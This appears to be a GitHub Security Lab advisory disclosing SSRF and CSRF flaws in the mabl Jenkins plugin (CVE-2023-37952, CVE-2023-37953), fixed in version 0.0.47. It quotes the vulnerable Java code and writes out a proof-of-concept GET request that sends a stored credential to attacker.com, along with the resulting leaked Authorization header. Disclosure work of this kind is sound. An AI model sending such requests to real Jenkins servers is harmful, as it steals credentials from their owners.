Coordinated Disclosure Timeline
- 2023-04-13: Issue reported to the Jenkins Security team.
- 2023-07-12: Advisory published (fixed in mabl Plugin 0.0.47).
Summary
Several Server-Side Request Forgery (SSRF) vulnerabilities in jenkinsci/mabl-integration-plugin
allow the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the apiBaseUrl
parameter in the MablStepBuilder#doFillEnvironmentIdItems
, MablStepBuilder#doFillApplicationIdItem
and MablStepBuilder#doValidateForm
. These methods use the ACL.System
permission to access the credentials storage and can be abused to leak arbitrary secrets to attacker-controlled servers.
Product
mabl Jenkins plugin
Tested Version
Details
Arbitrary secret leakage via SSRF (GHSL-2023-065
)
The MablStepBuilder#doFillEnvironmentIdItems
, MablStepBuilder#doFillApplicationIdItem
and MablStepBuilder#doValidateForm
methods read a credential identified by the restApiKeyId
query parameter and send it to the attacker-controlled server specified by the apiBaseUrl
query parameter:
public ListBoxModel doFillEnvironmentIdItems(
@QueryParameter String restApiKeyId,
@QueryParameter boolean disableSslVerification,
@QueryParameter String apiBaseUrl,
@QueryParameter String appBaseUrl
) {
if (StringUtils.isBlank(restApiKeyId)) {
return getSelectValidApiKeyListBoxModel();
}
final Secret secretKey = getRestApiSecret(restApiKeyId);
if (secretKey != null) {
final MablRestApiClient client = createMablRestApiClient(
secretKey, disableSslVerification, apiBaseUrl, appBaseUrl);
return getEnvironmentIdItems(client);
}
return new ListBoxModel();
}
In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG
credential to attacker.com
the authenticated attacker would need to send the following request:
GET /jenkins/job/<JOB>/descriptorByName/com.mabl.integration.jenkins.MablStepBuilder/fillEnvironmentIdItems?restApiKeyId=FLAG&disableSslVerification=true&apiBaseUrl=https%3A%2F%2F.attacker.com&appBaseUrl=https%3A%2F%2Fattacker.com HTTP/1.1
Host: localhost:8080
Connection: close
Note that the attacker does NOT need to be authenticated but, if role-based authorization is in place, anonymous users may need to have Overall/Read
permission.
The code responsible to read the arbitrary credentials is:
static Secret getRestApiSecret(final String restApiKeyId) {
if (restApiKeyId == null) {
return null;
}
Secret secretKey = null;
List<StringCredentials> stringCredentials =
CredentialsProvider.lookupCredentials(StringCredentials.class, (Item) null, ACL.SYSTEM, Collections.emptyList());
for (StringCredentials cred : stringCredentials) {
if (restApiKeyId.equals(cred.getId())) {
secretKey = cred.getSecret();
break;
}
}
return secretKey;
}
As we can see in the code, regardless of the user privileges, the ACL.SYSTEM
permission is used to load credentials.
Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following POST
request:
GET /apiKeys/self HTTP/1.1
Authorization: Basic a2V5OkZMQUc=
Host: f2ihpzikyjzab3nkvq47th7wun0eohc6.oastify.com
Connection: Keep-Alive
User-Agent: mabl-jenkins-plugin/unknown (JVM: 11.0.16.1, Jenkins: 2.222.4)
Accept-Encoding: gzip,deflate
The credentials are leaked Base64-encoded in the Authorization
header.
Because the endpoint accepts GET
requests, an attacker could send a link to a victim with access to the Jenkins server to deliver the payload when the victim clicks on the link.
These vulnerabilities were found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to sensitive secret credentials leak.
CVE
- CVE-2023-37952 (CSRF)
- CVE-2023-37953 (missing permission check)
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-065
in any communication regarding this issue.